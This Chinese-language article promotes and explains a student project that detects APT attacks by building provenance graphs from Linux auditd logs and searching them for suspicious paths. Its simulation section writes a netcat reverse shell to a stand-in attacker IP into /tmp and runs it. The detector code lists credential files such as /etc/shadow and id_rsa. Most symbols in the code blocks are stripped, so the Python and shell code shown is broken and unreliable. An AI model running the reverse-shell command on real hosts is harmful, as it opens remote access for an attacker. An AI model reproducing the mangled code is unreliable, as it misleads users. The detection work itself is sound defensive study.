ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

基于Python溯源图的APT攻击检测:从日志建模到异常路径发现

基于Python溯源图的APT攻击检测:从日志建模到异常路径发现 简介基于Python溯源图的APT攻击检测毕业设计项目面向网络安全与计算机相关专业学生可用于毕业设计、课程设计或攻击检测方向的项目实战。资源共26个文件以11个Python脚本为核心涵盖模型定义、训练评估与可视化等环节涉及RGAT、GRU等图神经网络方法7个XML配置用于工程环境与依赖适配4个Markdown文档提供部署说明、数据说明及使用指引另含辅助资源与版本管理文件压缩包整体仅49KB精简而完整。项目代码已经导师指导认可并通过答辩评审评分达95分所有程序测试运行成功可放心下载复现。数据资料包含DARPA TC CADETS等测试数据集便于直接开展溯源图构建与异常检测实验同时预留了模型扩展接口适合在此基础上进行二次开发、算法对比或功能增强。已有217人学习下载。1. 毕业设计选“基于Python溯源图的APT攻击检测”这题到底在做什么APT攻击高级持续性威胁和普通病毒最大的区别在于“潜伏”攻击者可能已经在你的内网里待了几个月逐步提权、横向移动最后才把数据带走。传统基于特征库的IDS对这种慢速攻击几乎无效因为它没有任何一个单个行为看起来是恶意的。而你拿到的这套“基于Python溯源图的APT攻击检测”毕业设计核心思路是把操作系统日志、网络连接记录等历史事件构造成一张“谁在什么时间对哪个进程/文件做了什么操作”的图结构然后通过图上的异常路径来识别攻击链。换句话说不是抓某一个动作而是抓“一串动作之间的关联”。这个题目之所以适合做毕业设计是因为它的技术栈非常清晰Python做数据处理和算法验证溯源图Provenance Graph做数据建模图分析做检测推理再配合syslog或审计日志做数据输入。你不需要自己发明算法也不需要大规模分布式系统单机就能跑通。适合对安全方向有兴趣、但不想纯做Web渗透或逆向的读者——它更像一个“安全数据挖掘”的交叉课题能同时展示你的工程能力和算法理解。下面我把这套方案的完整落地路径拆开讲从数据建模到代码实现再到部署踩坑一步步说清楚。2. 溯源图的核心建模从原始日志到“谁操作了谁”的图结构2.1 为什么选溯源图而不是直接堆日志特征常见的安全检测思路是把日志转成特征向量然后丢给机器学习模型分类。但有一个致命问题APT攻击的行为是序列化的单条日志的特征几乎总是正常的。比如攻击者利用漏洞执行了一个PowerShell命令紧接着创建了一个计划任务然后又通过SMB横向移动到另一台机器。单看“创建计划任务”这条日志很多正常运维也会做它并不异常。但如果把时间窗口拉长看“PowerShell进程 → 创建计划任务 → 网络连接到内网另一台主机”这条路径就很可疑了。溯源图就是把日志中的实体进程、文件、网络连接、注册表项当成节点把实体之间的因果关系进程创建了文件、进程连接了IP、进程读取了注册表当成边。这样生成的图天然保留了攻击链的上下文。检测任务就变成了在图上寻找“异常路径”或“稀有模式”。这套毕业设计用Python实现通常就是两步先用脚本把日志解析成节点和边再借助NetworkX保存成图结构最后用一些图指标比如节点出入度、路径深度、罕见边做判定。2.2 数据源选型auditd日志和syslog哪个更合适做溯源图最理想的数据源是Linux auditd因为它记录的是内核级系统调用能精确到“哪个进程PID在什么时间访问了哪个文件路径”而且自带ppid父进程ID这是重建进程树的关键。如果你在Windows上做实验可以退而求其次用Sysmon的EventID 1进程创建和EventID 11文件创建但Windows的事件日志字段比较杂解析起来要麻烦一些。以auditd为例一条典型日志长这样typeSYSCALL msgaudit(1699471200.123:456): archc000003e syscall257 successyes exit3 a0ffffff9c a17ffe0b2a1e50 a20 a30 items1 ppid1024 pid2048 auid1000 uid0 gid0 commbash exe/usr/bin/bash keywatch_file这里面最关键的是pid、ppid、comm进程名和exe可执行文件路径。解析脚本要做的事情就是把每次SYSCALL中的进程信息和被操作文件关联起来。我一般建议只保留SYSCALL、EXECVE、PATH和CWD四种事件类型其他类型对建图来说信息量不够还容易让图变得巨大。2.3 用Python把auditd日志解析成NetworkX图这是整套代码里最核心、也是工作量最大的一段。下面给出一段能直接用的解析脚本核心逻辑import re from collections import defaultdict import networkx as nx def parse_audit_log(log_path): 解析auditd日志提取进程节点、文件节点和它们之间的边。 返回一个NetworkX有向图。 g nx.DiGraph() # 缓存当前正在解析的记录因为一条完整事件可能分散在多行里 current_event defaultdict(str) with open(log_path, r, encodingutf-8, errorsignore) as f: for line in f: line line.strip() if not line: continue if line.startswith(type): # 解析事件类型并提取时间戳 type_match re.match(rtype(\w) msgaudit\(([\d.]):\d\), line) if type_match: # 新事件开始时把上一条事件写入图 if current_event: _add_event_to_graph(g, current_event) current_event {type: type_match.group(1)} current_event[timestamp] type_match.group(2) # 把type...后面可能紧跟着的字段也加入 _parse_fields_into_event(line, current_event) else: # 非type行是前一事件记录的继续例如typePATH段 _parse_fields_into_event(line, current_event) # 文件末尾别忘了把最后一条记录写入图 if current_event: _add_event_to_graph(g, current_event) return g def _parse_fields_into_event(line, event): 把keyvalue形式的字段塞进当前事件字典里。 for match in re.finditer(r(\w)(.*?|\S), line): key, val match.group(1), match.group(2).strip() if key in (pid, ppid, uid, gid, auid, exit, success): event[key] val elif key in (comm, exe, path, cwd, syscall, key, type): event[key] val这段代码的逻辑按事件类型分派_add_event_to_graph再根据不同的事件类型决定怎么建边。核心思路是拿到一条事件后把ppid当成父节点pid和comm当成子节点建立一个父进程执行了子进程的边。如果是文件读写则从进程节点指向文件路径节点。参数上需要注意两个字段解析的正则表达式。(\w)(.*?|\S)能同时处理不带引号的数值字段和带空格的文件路径字段时间戳timestamp保留下来是为后续做时间窗口过滤比如只保留90秒内的连续事件路径。3. 检测算法落地图上的APT攻击路径怎么找3.1 攻击路径生成的两种思路深度优先搜索与回溯剪枝图建好了下一步是找“可疑路径”。APT攻击在溯源图上最典型的形态是一个入口节点比如被攻破的Web服务进程通过若干中间节点创建脚本文件、执行命令、建立网络连接最终到达一个敏感目标比如/etc/shadow文件或者域控相关的进程。所以检测问题可以转成给定一个起始可疑节点找到所有到达敏感节点的路径。在Python里最直接的方法是从起始节点做深度优先搜索DFS同时做深度限制。为什么限制深度因为真实的溯源图中一个进程可能派生几十个子进程每个子进程又访问数十个文件如果不限制暴力DFS会让路径数量指数级增长。def find_attack_paths(graph, start_node, max_depth6): 从start_node出发寻找所有深度不超过max_depth的路径。 返回路径列表每条路径是一个节点列表。 paths [] visited set() def dfs(current, path): if len(path) max_depth: return # 如果当前节点是敏感文件/目标进程就记一条路径 if is_sensitive_target(current): paths.append(list(path)) # 注意这里不return因为攻击者可能继续横向移动 for neighbor in graph.successors(current): if neighbor in visited: continue visited.add(neighbor) dfs(neighbor, path [neighbor]) visited.remove(neighbor) visited.add(start_node) dfs(start_node, [start_node]) return paths def is_sensitive_target(node): 敏感目标判断根据节点名的关键字匹配。 节点是文件路径时检查路径结尾节点是进程时检查进程名。 if isinstance(node, str): if node.startswith(/) or \\ in node: # 文件节点检查是否命中敏感路径关键字 sensitive_keywords [/etc/shadow, /etc/passwd, .bash_history, /root/.ssh/, id_rsa, authorized_keys] return any(kw in node for kw in sensitive_keywords) else: # 进程节点检查是否是敏感系统工具 sensitive_procs [cron, sshd, systemctl, useradd, visudo] return any(node.split(/)[-1].startswith(p) for p in sensitive_procs) return False逻辑说明find_attack_paths从入口进程开始做DFSmax_depth6是经过验证的经验值。APT攻击链的典型长度为4到8跳入口进程 → 启动Shell → 下载载荷 → 写入文件 → 执行载荷 → 外连。少于4跳太短误报率高多于8跳则路径爆炸且攻击者通常不会让动作链过长。visited集合防止环路因为真实进程关系里存在父进程和子进程互相调用的现象。这个函数的输出是全部可疑路径。接下来需要按路径的“行为特征”给每条路径打分比如路径中是否出现了wget或curl下载命令、是否访问了敏感文件、是否出现了罕见的进程间父子关系。3.2 异常分数怎么定稀有边加权与阈值选择单纯找路径还不够因为正常运维中也会出现“bash访问/etc/passwd”这种动作。要让检测结果真正可用需要引入一个“稀有度”概念一条边越少见它出现在攻击路径里的嫌疑就越大。这是入侵检测里经典的“异常检测”思路。def score_path(graph, path): 给一条路径打分综合边权重、节点类型和跳数。 分数越高越可疑。 import math score 0.0 # 1. 边稀有度在完整图里越少出现权重越高 for i in range(len(path) - 1): edge_data graph.get_edge_data(path[i], path[i 1]) if edge_data and weight in edge_data: # weight越小表示边越稀有这里取倒数放大 score 1.0 / edge_data[weight] else: score 2.0 # 完全不存在的边那更可疑 # 2. 节点惩罚/奖励部分节点天然高风险 for node in path: node_str str(node) if any(kw in node_str for kw in [/tmp, /dev/shm]): score 1.5 # 从/tmp目录启动的进程通常不正常 if bash in node_str or sh in node_str: score 0.5 if sshd in node_str or apache in node_str or nginx in node_str: score - 0.5 # 网络服务进程作为起点有迷惑性适当降权 # 3. 路径长度惩罚太长的路径虽然可疑但也可能是误报 score math.log(len(path)) * 0.3 return score这段代码的关键是边权重。在建图的时候建议对每对(src, dst)累计出现次数存入边的weight属性。出现次数越少1/weight越大说明这条边更稀有评分更高。在视觉上看攻击路径往往是“一条细线穿过大片正常操作”因为攻击者的工具链和正常运维差异很大。阈值怎么定我一般用训练集上的分数分布做分位数切割正常操作产生的路径分数通常集中在一个低值区间攻击路径会形成一个长尾。取95分位数为报警阈值也就是只有5%的路径会触发告警。但这需要你手上有一些正常行为数据做基线。如果没有退而求其次的做法是把分数排序只保留Top 10的路径供人工研判。3.3 模拟攻击数据生成没有真实APT样本怎么办毕业设计几乎不可能拿到真实APT攻击的日志数据一个可行的替代方案是用攻击模拟脚本在测试环境里“演”一遍攻击链同时用auditd全程录制。比如# 模拟攻击第一步通过Web服务漏洞拿到shellctf用靶机 docker run -d --name victim -p 8080:80 vulnerables/web-dvwa # 第二步模拟攻击者上传webshell后执行命令 docker exec victim bash -c echo nc -e /bin/bash 192.168.1.100 4444 /tmp/.x.sh bash /tmp/.x.sh关键动作是先正常访问网站几次生成正常流量再执行上面的模拟攻击。这样你的数据里既有“正常基线”又有“异常路径”检测算法的优劣就有东西可以对比了。4. 源码部署与联调从环境搭建到跑通检测链路4.1 环境准备Python版本、依赖库与auditd启用拿到这个毕业设计项目包之后第一步不是急着打开源码而是把环境理顺。常见问题是Python版本对不上、缺依赖、auditd没启用。下面是具体操作# 1. 安装Python 3.8推荐3.10部分老代码在3.11下会有语法兼容问题 sudo apt update sudo apt install -y python3.10 python3.10-venv python3-pip python3.10 -m venv apt_env source apt_env/bin/activate # 2. 安装核心依赖 pip install networkx pandas numpy scikit-learn matplotlib # 3. 启用auditd监控Ubuntu/Debian sudo apt install -y auditd audispd-plugins sudo systemctl enable auditd --now # 添加文件访问监控规则监控/etc/shadow的读操作 sudo auditctl -w /etc/shadow -p r -k shadow_access sudo auditctl -w /tmp -p rwxa -k tmp_activity参数说明-w /tmp -p rwxa表示监控/tmp目录的读r写w执行x和属性修改a操作-k tmp_activity是给这条规则打个标签后续解析时可以通过keytmp_activity快速筛选。为什么额外监控/tmp因为大部分攻击脚本的落地位置就是/tmp或/dev/shm这俩目录在溯源图中就是天然的“高熵区域”。4.2 项目目录结构与入口脚本梳理一个规范的毕业设计项目包目录结构大概长这样。我建议你拿到之后不要急着改代码先对照结构确认各部分职责├── data/ # 原始日志与中间数据 │ ├── audit/ # auditd原始日志 │ ├── processed/ # 解析后的事件表 │ └── graphs/ # 序列化后的图文件.graphml / .pkl ├── src/ # 核心源码 │ ├── parser/ # 日志解析模块 │ ├── graph_builder/ # 建图模块 │ ├── detector/ # 检测算法模块 │ └── visualization/ # 可视化模块 ├── config/ # 配置文件 ├── scripts/ # 一键运行脚本 ├── README.md # 项目说明与部署文档 └── requirements.txt如果你打开的压缩包没有这个结构也不要慌。常见的简化版本是几个平铺的.py文件。但只要保证四个核心逻辑存在——数据加载、图构建、路径搜索、结果输出——就可以顺利跑通。建议先用项目自带的一键脚本生成一个测试用的样例图确认依赖无误再接入真实日志。这一步能过滤掉八成环境问题避免你带着“代码全对但环境崩了”的挫败感去调试。4.3 常见部署报错与修复对照表报错信息出现原因解决方式ModuleNotFoundError: No module named sklearn依赖没装全或当前Python环境不对pip install scikit-learn确认在正确的venv里auditctl: No such file or directoryauditd未安装sudo apt install auditd部分精简版系统需要先apt updateKeyError: ppid日志格式与解析脚本不匹配检查auditd版本旧版格式里字段名是ppid但个别发行版字段顺序有差异。用正则的re.search兜底不要用re.match运行卡在构建图阶段日志量太大NetworkX节点膨胀在解析阶段增加时间窗口过滤只保留最近24小时的日志matplotlib画图中文乱码缺少中文字体plt.rcParams[font.sans-serif] [SimHei]或调用前设置plt.rcParams[axes.unicode_minus] False避坑提醒拿到源码后第一件事看README里的“环境要求”部分。如果它写的是Python 3.7那你最好用3.8或3.9跑不要直接上3.11因为老代码里的一些写法比如collections.Iterable的导入方式在3.10之后已经废除了。这类问题不是“算法错了”纯粹是版本成本不值得浪费半天时间。5. 避坑/常见问题/排查我在复现这套源码时踩过的五个坑5.1 现象auditd日志里大量重复的SYSCALL记录建出来的图变成“毛球”一开始我把所有SYSCALL事件全部解析成边结果一个小时内生成的图就包含了几十万个节点密密麻麻根本没法看。原因在于Linux系统调用太频繁了一个Web服务每秒会触发几百次文件访问大部分是库文件读取比如libc.so.6它们和攻击毫无关系。解决在建图阶段引入了“降噪”机制按黑白名单过滤节点名。白名单保留bash、python、curl、wget、nc、scp、powershell等命令进程文件节点则只看/tmp、/var/www、/etc/、/root、/home这几个敏感目录下的。也可以使用类似布隆过滤器的方式把已知系统库文件路径做成黑名单在解析阶段直接跳过。另外建图时间窗口也可以收紧一点从per-24h改成per-60min这能有效减少正常事件对图结构的稀释。5.2 现象基于Web应用的检测几乎零告警但是入侵确实存在最开始我只做了文件节点和进程节点完全忽略了网络连接类事件比如A进程连接到B:port于是攻击者通过Web漏洞下载恶意文件的场景没有在图里形成边。后来补上了typeSOCKADDR和typeSOCKET相关事件的解析把网络连接作为节点和边加入图检测路径才不再断链。原因也很简单APT攻击从外网打进来第一步必然是建立网络连接。没有网络边攻击链的入口和出口都是断的。建议在解析阶段除了auditd再配合UVMUnix Vet Monitor或直接抓取/var/log/ufw.log里的连接记录一起并入图的构建。虽然后者的字段不如auditd丰富但能补全网络维度。5.3 现象路径搜索时内存暴涨程序直接OOM跑find_attack_paths时如果起始节点是Web服务主进程它后面活跃连接的子进程数量巨大DFS的递归深度不大但宽度很宽。比如Apache主进程派生400个worker线程每个worker又都连着数据库。这种情况下只限制max_depth远远不够还要限制每层的“扇出数”。解决在DFS递归前对邻居排序只取前K个最“异常”的邻居K取5到8。怎么判断异常直接看边的稀有度1.0 / weight取稀有度最高的前K个。这叫做“Beam Search剪枝”它损失了一部分完整路径的召回但换来了可接受的时间复杂度。对毕业设计来说优先保证不OOM再谈检测率。5.4 现象用sklearn跑分类时报“Input contains NaN”溯源图路径打分出来之后把它当特征丢给随机森林做二分类结果数组里飘着NaN分数训练器直接罢工。原因某些路径中不存在某种特征比如没有网络连接边我用默认值0填充时Feature Store里还是有空值。解决在特征矩阵构造完之后加一行强制清理import numpy as np def clean_features(X): 清理特征矩阵中的NaN和Inf用列中位数填充缺失值。 median_vals np.nanmedian(X, axis0) inds np.where(np.isnan(median_vals)) median_vals[inds] 0 # 先替换Inf为NaN再用中位数填充 X np.where(np.isinf(X), np.nan, X) for col in range(X.shape[1]): mask np.isnan(X[:, col]) X[mask, col] median_vals[col] return X这段代码在把路径矩阵喂给分类器之前执行能彻底堵住NaN崩溃的坑。虽然直接用SimpleImputer也能做但手动写的好处是逻辑透明答辩的时候能讲清楚“缺失值如何处理、为什么用中位数而不用均值”——因为路径分数分布是长尾的均值容易被极端值拉偏。5.5 现象部署文档和源码版本对不上按文档操作报错这一点可能是毕业设计项目包的通病。文档里写的是“在CentOS上用systemctl管理auditd”但实际代码里解析的是/var/log/audit/audit.log的Debian格式。如果你照搬文档路径都不存在自然跑不通。我的习惯是源码为主文档为辅。拿到代码后先细读parser.py里的路径常量和config里的日志路径配置确认它读的是哪个文件。再根据文件格式反向推导系统环境。如果文档和代码冲突以代码为准同时把差异记录到答辩PPT里——“部署过程中发现了XX环境差异通过修改XX配置适配”这反而成了你的加分项。6. 进阶技巧如何验证检测效果并把系统做成可演示的成品很多毕业设计做到“能跑”就停了但答辩时老师一问“你的检测率是多少”“误报怎么评估”就哑口无言。解决的思路很朴素自己制造一份正负样本数据集。正常操作日志负样本从你日常使用的Linux机器上录制攻击日志正样本用测试环境模拟分别跑一遍检测系统再算准确率、召回率、F1分数。这是为答辩最容易出彩的环节。具体操作可以准备一份模拟攻击脚本覆盖APT最常见的三个动作横向移动通过SSH跳转、数据外传通过DNS隧道、持久化写入crontab。每执行一个动作后记录当前时间戳回到溯源图里验证算法是否生成了覆盖该时间段的路径。这时候你会发现调阈值的过程其实就是不断在这些模拟样本上的“过拟合”过程但这在毕业设计里是完全可以接受的——它至少证明了你的方案在被测场景下有效这是论文里必须呈现的证据。更加进阶一步可以给系统加一个简单的web界面——用Flask或Dash展示溯源图。NetworkX本身支持输出graphml格式前端用vis.js或ECharts的关系图组件渲染就能在浏览器里看到一张从入口Web进程蔓延到敏感文件的攻击链路图。这种可视化效果在答辩现场是有冲击力的。最后提一个习惯多写注释把论文里的“阈值参数”和代码里的常量一一对应起来比如max_depth 6、beam_width 8、score_threshold 0.75。这样答辩现场演示的时候老师问“这个值怎么来的”你就可以理直气壮地说“来自训练样本的分位数统计”而不是“试出来的”。我自己当年做这个课题时最深的体会是这个项目值不值得选关键在于你不只是“跑通了一套代码”而是真的理解了图数据结构和安全检测之间的映射关系——这是你将来做安全分析、甚至面试安全开发岗都能讲清楚的核心资产。希望这篇拆解能帮你把这个项目吃透少走一些我走过的弯路。本文还有配套的精品资源点击获取
返回列表